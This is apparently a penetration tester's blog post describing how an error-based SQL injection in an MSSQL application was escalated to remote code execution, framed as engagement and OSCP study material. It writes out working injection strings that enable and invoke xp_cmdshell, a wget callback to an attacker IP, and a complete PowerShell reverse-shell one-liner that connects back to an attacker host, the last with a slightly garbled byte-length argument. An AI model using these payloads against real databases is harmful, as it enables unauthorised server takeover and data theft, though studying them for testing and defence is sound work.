Week 55 - SQLi to RCE
Last updated
Last updated
Have you ever found a SQL injection and attempted to elevate it to Remote Code Execution? Whether on an engagement or studying for your OSCP, this skill is worth knowing.
On a recent engagement, I found a SQL injection within an MSSQL database. Due to several technical limitations, I was only able to exploit this manually. I could pull data and execute SELECT statements, but I wanted something much more exciting: a reverse shell.
Now with MSSQL injections, it is common to try and exploit xp_cmdshell to run commands on the backend server. I had used SQLMap to automate this process before, but as mentioned above I had to opt for the manual route this time. Here was the injection that successfully revealed the DB name:
' and 1=cast(db_name() as int)--
To visualize this more clearly, the full query (including my injection) looked something more like:
SELECT column_name FROM table_name WHERE id = ‘1' and 1=cast(db_name() as int)--
This resulted in a casting error that displayed the full result of db_name(). Perfect, we have a POC for error-based injection. Now let’s try and get RCE!
I saw that xp_cmdshell requires the CONTROL SERVER permission, which luckily, I found to be allowed for my user (since I was a sysadmin). Now, to use xp_cmdshell you first must enable it, as it is disabled by default on most systems. Keeping in mind our earlier injection, we can do this manually by running the below two commands:
' and 1=1;EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--
' and 1=1;EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
Now xp_cmdshell should be enabled, and we can run a command on the server with:
' and 1=1;EXEC xp_cmdshell ‘<server-command>’;--
I immediately tried dir and ipconfig but realized I couldn’t see the output of the command. My next thought was to try ‘wget http[:]//<attacker-ip>/test’ and I also saw that didn’t work. I was stumped for a bit, until I realized that this was a Windows host (duh) and wget was not going to cut it. I immediately switched to ‘ping <attacker-ip>’ and listened for incoming ICMP connections on my box with the below command:
tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo
Sure enough, I received several incoming requests and realized I had RCE! Now how can you transform command execution into a reverse shell? I found a great PowerShell one-liner that did the trick:
' and 1=1;EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(<attacker-ip>,<attacker-port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $
stream.Read
($bytes, 0, 9$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PSReverseShell# '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"';--